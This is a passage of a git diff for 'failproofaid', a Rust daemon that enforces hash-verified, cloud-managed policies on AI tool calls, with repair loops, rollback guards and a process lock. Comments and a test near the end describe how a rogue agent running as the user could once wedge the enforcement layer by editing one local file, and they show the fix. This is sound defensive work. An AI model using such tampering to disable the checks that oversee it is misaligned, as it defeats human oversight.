rollback guard used to compare against `active.json`'s generation. + /// That file is a derived local pointer owned by the user — which this + /// module's own comment says — so on the product's stated threat model (a + /// rogue agent running as the user) it was an attacker-controlled veto over + /// the control plane: write a high number, and every real deployment is + /// refused for good. Combined with corrupting the artifacts it points at, + /// the machine cannot repair locally, cannot accept the server, and fails + /// closed on every tool call — a permanent denial of service costing one + /// file write. + /// + /// Anchoring on what the server said instead keeps the guard where it + /// actually means something (a replayed or out-of-order response inside one + /// session, which is the realistic transport failure) and gives up only + /// cross-restart rollback protection — which is already carried by TLS, a + /// bearer token and SHA-256 pinning of every artifact. Tampering now costs + /// an attacker nothing more than a delay until the next poll. + /// + /// `Arc` rather than a bare atomic because `PolicyStore` is `Clone` and the + /// maintenance lane holds its own handle: a per-clone counter would reset + /// the floor to zero for whichever clone happened to be asked, quietly + /// removing the guard it exists to provide. + server_high_water: Arc, +} + +impl PolicyStore { + pub fn new(root: PathBuf) -> Self { + Self { + root, + server_high_water: Arc::new(AtomicU64::new(0)), + } + } + + pub fn root(&self) -> &Path { + &self.root + } + + pub fn active_manifest_path(&self) -> PathBuf { + self.root.join("active.json") + } + + pub fn desired_state_path(&self) -> PathBuf { + self.root.join("desired-state.json") + } + + pub fn read_active(&self) -> Result, ReconcileError> { + let path = self.active_manifest_path(); + if !path.exists() { + return Ok(None); + } + let bytes = fs::read(path)?; + Ok(Some(serde_json::from_slice(&bytes)?)) + } + + pub fn read_desired(&self) -> Result, ReconcileError> { + let path = self.desired_state_path(); + if !path.exists() { + return Ok(None); + } + let bytes = fs::read(path)?; + let desired: DesiredState = serde_json::from_slice(&bytes)?; + validate_desired_state(&desired)?; + Ok(Some(desired)) + } + + /// Installs a complete desired generation. Any error before the final + /// `active.json` rename leaves the previous generation authoritative. + pub fn reconcile( + &self, + desired: &DesiredState, + fetcher: &impl ArtifactFetcher, + ) -> Result { + validate_desired_state(desired)?; + // active.json is a derived local pointer, not authority. If it was + // truncated or otherwise corrupted, rebuild it from desired state + // instead of making the corruption permanent. Non-JSON I/O failures + // still surface. + let previous = match self.read_active() { + Ok(active) => active, + Err(ReconcileError::Json(_)) => None, + Err(err) => return Err(err), + }; + // Rollback guard, anchored on what the SERVER has said this session — + // never on the local pointer. See `server_high_water`. + let floor = self.server_high_water.load(Ordering::Relaxed); + if desired.generation < floor { + return Err(ReconcileError::InvalidDesiredState(format!( + "generation rollback from {} to {} is not allowed", + floor, desired.generation + ))); + } + // Recorded before the work below so a mid-reconcile failure cannot let + // an immediately-following lower generation through. + self.server_high_water + .fetch_max(desired.generation, Ordering::Relaxed); + + // A local pointer AHEAD of the server is not authority, but it is worth + // saying out loud: it means either a restored/re-registered control + // plane, or that something edited this machine's state. + if let Some(active) = &previous + && active.generation > desired.generation + { + eprintln!( + "[failproofaid] local active generation {} is ahead of the server's {}; \ + taking the server's state (the local pointer is not authority)", + active.generation, desired.generation + ); + } + + fs::create_dir_all(self.root.join("artifacts"))?; + let generation_dir = self + .root + .join("generations") + .join(desired.generation.to_string()); + fs::create_dir_all(&generation_dir)?; + + let mut downloaded = 0; + let mut repaired = 0; + let mut active_policies = Vec::with_capacity(desired.policies.len()); + + for policy in &desired.policies { + let artifact_path = self.artifact_path(&policy.sha256); + let generation_path = generation_dir.join(format!("{}.mjs", policy.id)); + + let artifact_valid = file_matches_hash(&artifact_path, &policy.sha256)?; + let generation_valid = file_matches_hash(&generation_path, &policy.sha256)?; + + let bytes = if artifact_valid { + fs::read(&artifact_path)? + } else if generation_valid { + let bytes = fs::read(&generation_path)?; + write_atomic(&artifact_path, &bytes)?; + repaired += 1; + bytes + } else { + let bytes = fetcher + .fetch(policy) + .map_err(|message| ReconcileError::Fetch { + policy_id: policy.id.clone(), + message, + })?; + verify_bytes(policy, &bytes)?; + write_atomic(&artifact_path, &bytes)?; + downloaded += 1; + bytes + }; + + if !generation_valid { + write_atomic(&generation_path, &bytes)?; + if artifact_valid { + repaired += 1; + } + } + + let relative_path = generation_path + .strip_prefix(&self.root) + .map_err(|_| { + ReconcileError::InvalidDesiredState( + "generation path escaped policy root".into(), + ) + })? + .to_string_lossy() + .into_owned(); + active_policies.push(ActivePolicy { + id: policy.id.clone(), + revision: policy.revision, + effect: policy.effect, + sha256: policy.sha256.clone(), + path: relative_path, + }); + } + + let active = ActiveGeneration { + schema_version: DESIRED_STATE_SCHEMA_VERSION, + generation: desired.generation, + policies: active_policies, + }; + let manifest_bytes = serde_json::to_vec_pretty(&active)?; + write_atomic(&generation_dir.join("manifest.json"), &manifest_bytes)?; + + // Persist the cloud snapshot before switching active.json. A crash in + // between is recoverable: the maintenance loop reconstructs the active + // pointer from this snapshot and the fully staged generation. + write_atomic( + &self.desired_state_path(), + &serde_json::to_vec_pretty(desired)?, + )?; + + let activated = previous.as_ref() != Some(&active); + if activated { + write_atomic(&self.active_manifest_path(), &manifest_bytes)?; + } + + Ok(ReconcileOutcome { + generation: desired.generation, + downloaded, + repaired, + activated, + }) + } + + /// Verifies the active generation and repairs one bad copy from the other + /// verified local copy. If both copies are missing/corrupt, the cloud + /// transport must re-fetch; active.json remains unchanged and the worker's + /// already-loaded generation remains the last known good decision set. + pub fn repair_active_from_cache(&self) -> Result { + // A corrupted `desired-state.json` must not disable repair. + // + // `self.read_desired()?` propagated any parse error straight out, + // short-circuiting before the `active.json`-driven branch below — the + // one that rebuilds a tampered `generations//.mjs` from the + // still-valid, content-addressed `artifacts/.mjs` copy. So one bad + // byte in a file this branch does not even need permanently disabled + // generation-copy self-healing, and per `CLOUD_POLICIES.md` the only + // thing that rewrites it is a successful cloud poll — which never + // happens on an unenrolled or unreachable machine. + // + // `reconcile()` already tolerates exactly this for `active.json` + // (`Err(ReconcileError::Json(_)) => None`); the two are now symmetric. + let desired = match self.read_desired() { + Ok(desired) => desired, + Err(ReconcileError::Json(err)) => { + tracing::warn!( + %err, + "desired-state.json is unreadable; repairing from active.json alone" + ); + None + } + Err(err) => return Err(err), + }; + if let Some(desired) = desired { + let outcome = self.reconcile(&desired, &|policy: &DesiredPolicy| { + Err(format!( + "no verified cached bytes remain for {}; cloud refetch required", + policy.id + )) + })?; + return Ok(outcome.repaired + usize::from(outcome.activated)); + } + + let Some(active) = self.read_active()? else { + return Ok(0); + }; + if active.schema_version != DESIRED_STATE_SCHEMA_VERSION { + return Err(ReconcileError::InvalidDesiredState(format!( + "unsupported active schema version {}", + active.schema_version + ))); + } + + let mut repaired = 0; + for policy in &active.policies { + validate_policy_identity(&policy.id)?; + validate_sha256(&policy.sha256)?; + let generation_path = safe_join_relative(&self.root, &policy.path)?; + let artifact_path = self.artifact_path(&policy.sha256); + let artifact_valid = file_matches_hash(&artifact_path, &policy.sha256)?; + let generation_valid = file_matches_hash(&generation_path, &policy.sha256)?; + + match (artifact_valid, generation_valid) { + (true, true) => {} + (true, false) => { + write_atomic(&generation_path, &fs::read(&artifact_path)?)?; + repaired += 1; + } + (false, true) => { + write_atomic(&artifact_path, &fs::read(&generation_path)?)?; + repaired += 1; + } + (false, false) => { + return Err(ReconcileError::NoVerifiedCopy { + policy_id: policy.id.clone(), + }); + } + } + } + Ok(repaired) + } + + fn artifact_path(&self, sha256: &str) -> PathBuf { + self.root.join("artifacts").join(format!("{sha256}.mjs")) + } +} + +/// Starts the maintenance-lane integrity loop. It performs one pass +/// immediately, then periodically, and wakes in short slices so daemon +/// shutdown never waits for the full reconciliation interval. +pub fn spawn_integrity_monitor( + store: PolicyStore, + shutdown: Arc, + interval: Duration, +) -> JoinHandle<()> { + std::thread::spawn(move || { + while !shutdown.load(Ordering::Relaxed) { + match store.repair_active_from_cache() { + Ok(0) => {} + Ok(repaired) => { + eprintln!("[failproofaid] repaired {repaired} cloud-managed policy artifact(s)") + } + Err(err) => eprintln!("[failproofaid] cloud policy integrity error: {err}"), + } + + let deadline = Instant::now() + interval; + while !shutdown.load(Ordering::Relaxed) && Instant::now() < deadline { + let remaining = deadline.saturating_duration_since(Instant::now()); + std::thread::sleep(remaining.min(Duration::from_millis(50))); + } + } + }) +} + +fn validate_desired_state(desired: &DesiredState) -> Result<(), ReconcileError> { + if desired.schema_version != DESIRED_STATE_SCHEMA_VERSION { + return Err(ReconcileError::InvalidDesiredState(format!( + "unsupported schema version {}", + desired.schema_version + ))); + } + let mut ids = HashSet::new(); + for policy in &desired.policies { + validate_policy_identity(&policy.id)?; + validate_sha256(&policy.sha256)?; + if policy.artifact_url.trim().is_empty() { + return Err(ReconcileError::InvalidDesiredState(format!( + "policy {} has an empty artifactUrl", + policy.id + ))); + } + if !ids.insert(policy.id.as_str()) { + return Err(ReconcileError::InvalidDesiredState(format!( + "duplicate policy id {}", + policy.id + ))); + } + } + Ok(()) +} + +fn validate_policy_identity(id: &str) -> Result<(), ReconcileError> { + let valid = !id.is_empty() + && id.len() <= 128 + && id + .bytes() + .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-')) + && id != "." + && id != ".."; + if !valid { + return Err(ReconcileError::InvalidDesiredState(format!( + "unsafe policy id {id:?}" + ))); + } + Ok(()) +} + +fn validate_sha256(value: &str) -> Result<(), ReconcileError> { + if value.len() != 64 + || !value + .bytes() + .all(|b| b.is_ascii_hexdigit() && !b.is_ascii_uppercase()) + { + return Err(ReconcileError::InvalidDesiredState(format!( + "invalid lowercase SHA-256 digest {value:?}" + ))); + } + Ok(()) +} + +fn safe_join_relative(root: &Path, relative: &str) -> Result { + let path = Path::new(relative); + if path.is_absolute() + || path + .components() + .any(|component| !matches!(component, std::path::Component::Normal(_))) + { + return Err(ReconcileError::InvalidDesiredState(format!( + "unsafe active policy path {relative:?}" + ))); + } + Ok(root.join(path)) +} + +fn verify_bytes(policy: &DesiredPolicy, bytes: &[u8]) -> Result<(), ReconcileError> { + let actual = sha256_hex(bytes); + if actual != policy.sha256 { + return Err(ReconcileError::HashMismatch { + policy_id: policy.id.clone(), + expected: policy.sha256.clone(), + actual, + }); + } + Ok(()) +} + +fn file_matches_hash(path: &Path, expected: &str) -> Result { + let mut file = match File::open(path) { + Ok(file) => file, + Err(err) if err.kind() == io::ErrorKind::NotFound => return Ok(false), + Err(err) => return Err(err.into()), + }; + let mut hasher = Sha256::new(); + let mut buffer = [0_u8; 8192]; + loop { + let read = file.read(&mut buffer)?; + if read == 0 { + break; + } + hasher.update(&buffer[..read]); + } + Ok(format!("{:x}", hasher.finalize()) == expected) +} + +fn sha256_hex(bytes: &[u8]) -> String { + format!("{:x}", Sha256::digest(bytes)) +} + +fn write_atomic(path: &Path, bytes: &[u8]) -> Result<(), ReconcileError> { + let parent = path + .parent() + .ok_or_else(|| io::Error::other("managed policy path has no parent"))?; + fs::create_dir_all(parent)?; + let counter = TEMP_COUNTER.fetch_add(1, Ordering::Relaxed); + let file_name = path + .file_name() + .and_then(|name| name.to_str()) + .unwrap_or("managed-policy"); + let temp = parent.join(format!(".{file_name}.tmp-{}-{counter}", std::process::id())); + + let mut file = OpenOptions::new() + .write(true) + .create_new(true) + .open(&temp)?; + file.set_permissions(fs::Permissions::from_mode(MANAGED_FILE_MODE))?; + file.write_all(bytes)?; + file.sync_all()?; + drop(file); + fs::rename(&temp, path)?; + File::open(parent)?.sync_all()?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn desired_state_tolerates_fields_this_daemon_does_not_know() { + // Daemons update on their own schedule. If this struct rejected unknown + // fields, the first thing cloud added would make every older daemon + // fail to parse desired-state and silently stop pulling — a fleet + // stranded on whatever generation it happened to hold, with no error + // anyone would look for. + let json = r#"{"schemaVersion":1,"generation":4,"policies":[ + {"id":"guard","revision":2,"sha256":"aa","artifactUrl":"/a","effect":"observe", + "someFutureField":{"nested":true}} + ],"anotherFutureField":42}"#; + let parsed: DesiredState = serde_json::from_str(json).expect("must parse"); + assert_eq!(parsed.generation, 4); + assert_eq!(parsed.policies[0].effect, PolicyEffect::Observe); + } + + #[test] + fn a_policy_with_no_effect_enforces() { + // The default has to be the one that keeps enforcing: a server that + // predates observe mode must not silently downgrade a fleet to + // observation. + let json = r#"{"schemaVersion":1,"generation":1,"policies":[ + {"id":"g","revision":1,"sha256":"aa","artifactUrl":"/a"}]}"#; + let parsed: DesiredState = serde_json::from_str(json).unwrap(); + assert_eq!(parsed.policies[0].effect, PolicyEffect::Enforce); + } + + #[test] + fn an_unreadable_effect_is_rejected_rather_than_guessed() { + // Guessing would mean choosing between enforcing something cloud did + // not ask to enforce, or observing something it wanted enforced. Both + // are worse than refusing the generation. + let json = r#"{"schemaVersion":1,"generation":1,"policies":[ + {"id":"g","revision":1,"sha256":"aa","artifactUrl":"/a","effect":"maybe"}]}"#; + assert!(serde_json::from_str::(json).is_err()); + } + + #[test] + fn the_active_manifest_records_the_effect_it_activated() { + // active.json is what the evaluator reads. If the effect were not + // carried here, an observe-mode policy would enforce the moment the + // daemon restarted and re-read its own manifest. + let manifest = ActiveGeneration { + schema_version: 1, + generation: 9, + policies: vec![ActivePolicy { + id: "g".into(), + revision: 1, + sha256: "aa".into(), + path: "generations/9/g.mjs".into(), + effect: PolicyEffect::Observe, + }], + }; + let round_tripped: ActiveGeneration = + serde_json::from_str(&serde_json::to_string(&manifest).unwrap()).unwrap(); + assert_eq!(round_tripped.policies[0].effect, PolicyEffect::Observe); + assert!( + serde_json::to_string(&manifest) + .unwrap() + .contains("\"effect\":\"observe\"") + ); + } + use std::sync::atomic::{AtomicUsize, Ordering}; + + fn temp_store(name: &str) -> PolicyStore { + let root = std::env::temp_dir().join(format!( + "failproofaid-cloud-policy-{name}-{}-{}", + std::process::id(), + TEMP_COUNTER.fetch_add(1, Ordering::Relaxed) + )); + PolicyStore::new(root) + } + + fn desired(generation: u64, id: &str, bytes: &[u8]) -> DesiredState { + DesiredState { + schema_version: DESIRED_STATE_SCHEMA_VERSION, + generation, + policies: vec![DesiredPolicy { + id: id.to_string(), + revision: generation, + sha256: sha256_hex(bytes), + artifact_url: format!("https://cloud.invalid/{id}/{generation}"), + effect: PolicyEffect::Enforce, + }], + } + } + + #[test] + fn activates_a_complete_verified_generation() { + let store = temp_store("activate"); + let bytes = b"export default 'cloud policy';\n"; + let state = desired(7, "block-secrets", bytes); + let fetches = AtomicUsize::new(0); + let outcome = store + .reconcile(&state, &|_: &DesiredPolicy| { + fetches.fetch_add(1, Ordering::Relaxed); + Ok(bytes.to_vec()) + }) + .unwrap(); + + assert_eq!(outcome.downloaded, 1); + assert!(outcome.activated); + assert_eq!(fetches.load(Ordering::Relaxed), 1); + let active = store.read_active().unwrap().unwrap(); + assert_eq!(active.generation, 7); + assert_eq!(active.policies[0].id, "block-secrets"); + let active_path = store.root().join(&active.policies[0].path); + assert_eq!(fs::read(active_path).unwrap(), bytes); + fs::remove_dir_all(store.root()).ok(); + } + + #[test] + fn a_bad_download_never_replaces_last_known_good() { + let store = temp_store("bad-download"); + let good = b"export default 'good';\n"; + store + .reconcile(&desired(1, "guard", good), &|_: &DesiredPolicy| { + Ok(good.to_vec()) + }) + .unwrap(); + let before = fs::read(store.active_manifest_path()).unwrap(); + + let next = desired(2, "guard", b"export default 'expected';\n"); + let err = store + .reconcile( + &next, + &|_: &DesiredPolicy| Ok(b"tampered download".to_vec()), + ) + .unwrap_err(); + assert!(matches!(err, ReconcileError::HashMismatch { .. })); + assert_eq!(fs::read(store.active_manifest_path()).unwrap(), before); + assert_eq!(store.read_active().unwrap().unwrap().generation, 1); + fs::remove_dir_all(store.root()).ok(); + } + + #[test] + fn repairs_a_tampered_generation_copy_from_the_verified_artifact() { + let store = temp_store("repair-generation"); + let bytes = b"export default 'verified';\n"; + store + .reconcile(&desired(3, "guard", bytes), &|_: &DesiredPolicy| { + Ok(bytes.to_vec()) + }) + .unwrap(); + let active = store.read_active().unwrap().unwrap(); + let generation_path = store.root().join(&active.policies[0].path); + fs::write(&generation_path, b"tampered").unwrap(); + + assert_eq!(store.repair_active_from_cache().unwrap(), 1); + assert_eq!(fs::read(generation_path).unwrap(), bytes); + fs::remove_dir_all(store.root()).ok(); + } + + #[test] + fn repairs_a_tampered_artifact_from_the_verified_generation_copy() { + let store = temp_store("repair-artifact"); + let bytes = b"export default 'verified';\n"; + let state = desired(4, "guard", bytes); + store + .reconcile(&state, &|_: &DesiredPolicy| Ok(bytes.to_vec())) + .unwrap(); + let artifact_path = store.artifact_path(&state.policies[0].sha256); + fs::write(&artifact_path, b"tampered").unwrap(); + + assert_eq!(store.repair_active_from_cache().unwrap(), 1); + assert_eq!(fs::read(artifact_path).unwrap(), bytes); + fs::remove_dir_all(store.root()).ok(); + } + + #[test] + fn reports_when_both_verified_copies_are_lost() { + let store = temp_store("both-lost"); + let bytes = b"export default 'verified';\n"; + let state = desired(5, "guard", bytes); + store + .reconcile(&state, &|_: &DesiredPolicy| Ok(bytes.to_vec())) + .unwrap(); + let active = store.read_active().unwrap().unwrap(); + fs::write(store.root().join(&active.policies[0].path), b"bad-one").unwrap(); + fs::write(store.artifact_path(&state.policies[0].sha256), b"bad-two").unwrap(); + + assert!(matches!( + store.repair_active_from_cache(), + Err(ReconcileError::Fetch { .. }) + )); + assert_eq!(store.read_active().unwrap().unwrap().generation, 5); + fs::remove_dir_all(store.root()).ok(); + } + + #[test] + fn repairs_a_removed_or_rewritten_active_manifest_from_desired_state() { + let store = temp_store("repair-active"); + let bytes = b"export default 'verified';\n"; + store + .reconcile(&desired(11, "guard", bytes), &|_: &DesiredPolicy| { + Ok(bytes.to_vec()) + }) + .unwrap(); + + fs::write( + store.active_manifest_path(), + br#"{"schemaVersion":1,"generation":11,"policies":[]}"#, + ) + .unwrap(); + assert_eq!(store.repair_active_from_cache().unwrap(), 1); + assert_eq!(store.read_active().unwrap().unwrap().policies.len(), 1); + + fs::write(store.active_manifest_path(), b"not-json").unwrap(); + assert_eq!(store.repair_active_from_cache().unwrap(), 1); + assert_eq!( + store.read_active().unwrap().unwrap().policies[0].id, + "guard" + ); + fs::remove_dir_all(store.root()).ok(); + } + + #[test] + fn rejects_traversal_duplicate_ids_and_generation_rollback() { + let store = temp_store("validation"); + let bytes = b"policy"; + let mut traversal = desired(1, "../escape", bytes); + assert!(matches!( + store.reconcile(&traversal, &|_: &DesiredPolicy| Ok(bytes.to_vec())), + Err(ReconcileError::InvalidDesiredState(_)) + )); + + traversal.policies[0].id = "guard".to_string(); + traversal.policies.push(traversal.policies[0].clone()); + assert!(matches!( + store.reconcile(&traversal, &|_: &DesiredPolicy| Ok(bytes.to_vec())), + Err(ReconcileError::InvalidDesiredState(_)) + )); + + store + .reconcile(&desired(9, "guard", bytes), &|_: &DesiredPolicy| { + Ok(bytes.to_vec()) + }) + .unwrap(); + assert!(matches!( + store.reconcile(&desired(8, "guard", bytes), &|_: &DesiredPolicy| Ok( + bytes.to_vec() + )), + Err(ReconcileError::InvalidDesiredState(_)) + )); + fs::remove_dir_all(store.root()).ok(); + } + + /// A tampered local generation must not be able to veto the control plane. + /// + /// The guard used to compare against `active.json`, a 0600 file owned by + /// the very user the product's threat model treats as compromised. Writing + /// one large number there made every subsequent real deployment fail + /// validation for good; corrupt the artifacts it points at as well and the + /// machine can neither repair locally nor accept the server, and fails + /// closed on every tool call. A permanent denial of service for one file + /// write. + #[test] + fn a_tampered_local_generation_cannot_permanently_veto_the_server() { + let store = temp_store("tampered-generation"); + let bytes = b"policy"; + + store + .reconcile(&desired(5, "guard", bytes), &|_: &DesiredPolicy| { + Ok(bytes.to_vec()) + }) + .unwrap(); + + // The attack: one edit to a user-owned file. + let manifest = store.active_manifest_path(); + let raw = fs::read_to_string(&manifest).unwrap(); + let mut active: serde_json::Value = serde_json::from_str(&raw).unwrap(); + active["generation"] = serde_json::json!(u64::MAX); + fs::write(&manifest, serde_json::to_vec(&active).unwrap()).unwrap(); + + // A fresh process, as after any restart. It must take the server's + // state rather than treating the local number as authority. + let restarted = PolicyStore::new(store.root().to_path_buf()); + let outcome = restarted + .reconcile(&desired(6, "guard", bytes), &|_: &DesiredPolicy| { + Ok(bytes.to_vec()) + }) + .expect("the server's state must win over a local pointer"); + assert!(outcome.activated); + assert_eq!(restarted.read_active().unwrap().unwrap().generation, 6); + + // And replay protection still holds WITHIN the session, which is the + // transport failure the guard actually exists for. + assert!(matches!( + restarted.reconcile(&desired(5, "guard", bytes), &|_: &DesiredPolicy| Ok( + bytes.to_vec() + )), + Err(ReconcileError::InvalidDesiredState(_)) + )); + + fs::remove_dir_all(store.root()).ok(); + } + + #[test] + fn background_monitor_repairs_without_touching_the_hook_path() { + let store = temp_store("monitor"); + let bytes = b"export default 'verified';\n"; + store + .reconcile(&desired(10, "guard", bytes), &|_: &DesiredPolicy| { + Ok(bytes.to_vec()) + }) + .unwrap(); + let active = store.read_active().unwrap().unwrap(); + let generation_path = store.root().join(&active.policies[0].path); + fs::write(&generation_path, b"tampered").unwrap(); + + let shutdown = Arc::new(AtomicBool::new(false)); + let handle = + spawn_integrity_monitor(store.clone(), shutdown.clone(), Duration::from_millis(10)); + let deadline = Instant::now() + Duration::from_secs(1); + while fs::read(&generation_path).unwrap() != bytes && Instant::now() < deadline { + std::thread::sleep(Duration::from_millis(5)); + } + shutdown.store(true, Ordering::Relaxed); + handle.join().unwrap(); + + assert_eq!(fs::read(generation_path).unwrap(), bytes); + fs::remove_dir_all(store.root()).ok(); + } +} diff --git a/crates/failproofaid/src/lock.rs b/crates/failproofaid/src/lock.rs new file mode 100644 index 00000000..f9acb261 --- /dev/null +++ b/crates/failproofaid/src/lock.rs @@ -0,0 +1,81 @@ +//! Single-instance guard: at most one `failproofaid` per OS user. +//! +//! Uses an advisory `flock()` on a dedicated lock file rather than a +//! PID file — a PID file has to be checked-then-trusted (the PID could +//! have been reused by an unrelated process since), whereas `flock` is +//! released automatically by the kernel when the holding process exits or +//! is killed, for any reason, with no stale-file cleanup required. + +use std::fs::{File, OpenOptions}; +use std::io; +use std::os::unix::io::AsRawFd; +use std::path::Path; + +pub struct SingletonLock { + // Held for the guard's lifetime; the flock is released when this File + // (and its underlying fd) is dropped. + _file: File, +} + +#[derive(Debug)] +pub enum LockError { + Io(io::Error), + AlreadyRunning, +} + +impl std::fmt::Display for LockError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + LockError::Io(e) => write!(f, "io error acquiring daemon lock: {e}"), + LockError::AlreadyRunning => { + write!(f, "another failproofaid is already running for this user") + } + } + } +} + +impl std::error::Error for LockError {} + +/// Tries to acquire the singleton lock at `path`, creating the file if +/// needed. Returns [`LockError::AlreadyRunning`] immediately (non-blocking) +/// if another live process already holds it. +pub fn acquire(path: &Path) -> Result { + let file = OpenOptions::new() + .create(true) + .truncate(false) + .write(true) + .open(path) + .map_err(LockError::Io)?; + + let ret = unsafe { libc::flock(file.as_raw_fd(), libc::LOCK_EX | libc::LOCK_NB) }; + if ret != 0 { + let err = io::Error::last_os_error(); + return match err.raw_os_error() { + Some(libc::EWOULDBLOCK) => Err(LockError::AlreadyRunning), + _ => Err(LockError::Io(err)), + }; + } + Ok(SingletonLock { _file: file }) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_second_acquire_in_the_same_process_fails_while_the_first_is_held() { + let tmp = std::env::temp_dir().join(format!( + "failproofaid-lock-test-{}-{}", + std::process::id(), + line!() + )); + let first = acquire(&tmp).expect("first acquire should succeed"); + let second = acquire(&tmp); + assert!(matches!(second, Err(LockError::AlreadyRunning))); + drop(first); + // Once released, a fresh acquire succeeds again. + let third = acquire(&tmp); + assert!(third.is_ok()); + std::fs::remove_file(&tmp).ok(); + } +} diff --git a/crates/failproofaid/src/main.rs b/crates/failproofaid/src/main.rs new file mode 100644 index 00000000..ed080590 --- /dev/null +++ b/crates/failproofaid/src/main.rs @@ -0,0 +1,1212 @@ +mod audit_lane; +mod cloud_client; +pub mod cloud_policies; +mod lock; +mod paths; +mod server; +mod telemetry; +mod worker; + +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::Duration; + +fn main() { + let args: Vec = std::env::args().collect(); + if args.iter().any(|a| a == "--version" || a == "-v") { + println!("failproofaid {}", env!("CARGO_PKG_VERSION")); + return; + } + + if let Err(err) = run() { + eprintln!("[failproofaid] {err}"); + std::process::exit(1); + } +} + +/// Install a log subscriber, or the collector's diagnostics go nowhere. +/// +/// `tracing` drops every event when no subscriber is registered, silently. The +/// uploader reports "the server accepted the request but stored NONE of its +/// events" through it — the single most important signal that a transform is +/// systematically malformed — so without this that failure is invisible. +/// +/// Writes to stderr, which is where the daemon's existing `eprintln!` output +/// already goes and what systemd/launchd capture. `RUST_LOG` overrides the +/// default level. +fn init_logging() { + use tracing_subscriber::EnvFilter; + let filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info")); + let _ = tracing_subscriber::fmt() + .with_env_filter(filter) + .with_writer(std::io::stderr) + .try_init(); +} + +fn run() -> Result<(), Box> { + init_logging(); + let lock_path = paths::lock_path()?; + paths::ensure_run_dir()?; + let _singleton = lock::acquire(&lock_path)?; + + // The shutdown flag and its signal handler are installed BEFORE anything + // long-running starts, so every lane below observes the same flag the socket + // server does. One SIGTERM then stops all of them; a second signal path + // would be one more thing to get wrong during shutdown. + let shutdown = Arc::new(AtomicBool::new(false)); + install_signal_handler(shutdown.clone()); + + // Telemetry first, and deliberately ahead of the worker: the warm-up below + // is the earliest thing that reports, and a lane installed after it would + // drop the very event that says whether the worker came up. `spawn` only + // resolves the opt-out and installs an in-memory buffer — every request it + // ever makes happens on its own thread, never here and never on the hook + // path (see the module header; this daemon fails closed). + let mut telemetry_lane = telemetry::spawn(shutdown.clone()); + let started_at = telemetry::record_started(); + + let socket_path = paths::socket_path()?; + let worker_socket_path = paths::worker_socket_path()?; + let worker = Arc::new(worker::Worker::new( + worker_socket_path, + worker::WorkerCommand::from_env(), + )); + // Pre-warm off the startup path: the socket must be accepting + // connections promptly (a service manager / health check shouldn't wait + // on a Node cold start), but a request that arrives before warm-up + // finishes still gets a correct, just slightly slower, answer — `call()` + // -> `ensure_started()` shares the same lock and simply waits for + // whichever spawn (this one or its own) is already in flight. + // The handle is KEPT. Discarding it left the warm-up thread holding its own + // `Arc` with nobody to join it: a SIGTERM arriving while it was + // still inside `ensure_started()` (a cold start is hundreds of + // milliseconds; the accept loop returns in tens) meant `run()` dropped its + // reference, the refcount stayed above zero, `Worker::drop` never ran, and + // the process exited leaving the worker orphaned. See `Worker::shutdown`. + let warm_handle = { + let warm_worker = worker.clone(); + std::thread::spawn(move || warm_worker.warm()) + }; + + // Cloud policy integrity is a maintenance-lane responsibility, never a + // hook-path operation. The monitor is useful before cloud transport lands: + // it keeps the active generation and content-addressed artifact cache in + // agreement and reports when both verified copies have been lost. + let cloud_policy_store = cloud_policies::PolicyStore::new(paths::cloud_managed_policy_dir()?); + // One lane, resolving enrolment per tick rather than once at startup. + // `failproofai config --connect` writes its credential file without root, + // and this is a SYSTEM unit — so noticing it only on restart would put + // `sudo systemctl restart` back into a flow built to avoid it. The lane + // also does integrity repair whether or not the machine is enrolled. + let cloud_monitor = cloud_client::spawn_maintenance( + cloud_policy_store, + shutdown.clone(), + cloud_client::poll_interval_from_env(), + cloud_policy_reconcile_interval(), + ); + + // Log/hook collection. Runs on its own thread with its own Tokio runtime + // so it can never share fate with the accept loop — this daemon fails + // closed, so a collector fault would otherwise deny every tool call on the + // machine (see fpai_collect::supervisor). It observes the same `shutdown` + // flag the server and the cloud monitor do, so one SIGTERM stops all three. + // + // INERT until ingest is configured. But the config is not necessarily + // ready at startup: `failproofai config` installs the daemon and THEN + // connects, so the very first daemon start usually sees no ingest yet. A + // manager thread waits for the config to become enabled and starts the + // collector once it is — the collector's analogue of the cloud lane + // re-resolving enrolment per tick, so enabling collection takes effect + // within one interval with no restart and no root (see + // `spawn_collector_manager`). The manager owns the collector's lifecycle, + // including draining it on shutdown. + let mut collector_mgr = spawn_collector_manager(shutdown.clone()); + + // The scheduled local audit. Another lane on the same pattern — its own + // thread, the same shutdown flag, every error swallowed — but it never + // evaluates anything in-process: it spawns `failproofai audit --scheduled` + // as a separate short-lived process, because a ~104-second scan on the warm + // worker's single serialized chain would exceed worker.rs's 30s cap and turn + // into a DENY on every tool call across all 12 CLIs (see audit_lane's header). + // + // Started unconditionally although the feature is OFF by default: like the + // collector manager and the cloud lane, it re-reads config.toml every tick, + // so switching it on with `failproofai config` — which writes that file + // WITHOUT root, against a system unit — takes effect without a restart. + let mut audit_lane = audit_lane::spawn(shutdown.clone()); + + // Handled rather than `?`-ed, because a bare `?` here returns past every + // join below — including the telemetry flush — so a daemon that cannot bind + // its socket would buffer `daemon_started` and then take it to the grave. + // That is the single most interesting failure this daemon has: on a + // `daemonConfigured` machine it is every tool call across all 12 CLIs denied + // against a socket nothing is listening on, in a `Restart=on-failure` loop, + // and it is precisely the case nobody can see from outside the machine. + // (Every other `?` between the lane starting and here can only fail when + // HOME is unset, in which case the lane has already stopped and buffered + // nothing.) + let srv = match server::Server::bind(&socket_path, worker.clone()) { + Ok(srv) => srv, + Err(err) => { + shutdown.store(true, Ordering::Relaxed); + join_lane(&mut telemetry_lane); + telemetry::record_stopped("bind_failed", started_at); + telemetry::shutdown_flush(); + return Err(err.into()); + } + }; + eprintln!("[failproofaid] listening on {}", socket_path.display()); + + let run_result = srv.run_until(shutdown); + + // Stop the worker explicitly, then join the thread that may have been + // starting it. In this order: the flag `shutdown()` sets is checked under + // the same lock `ensure_started` takes, so a warm-up that had not yet + // spawned now refuses and returns promptly, and one that had already + // spawned has just had its process group killed. The reverse order would + // let a mid-spawn warm-up install a fresh worker after the kill. + worker.shutdown(); + let _ = warm_handle.join(); + + // Join the manager, which drains the collector within its flush budget + // before returning. Done before `?` so a server error still gives the + // collector a chance to 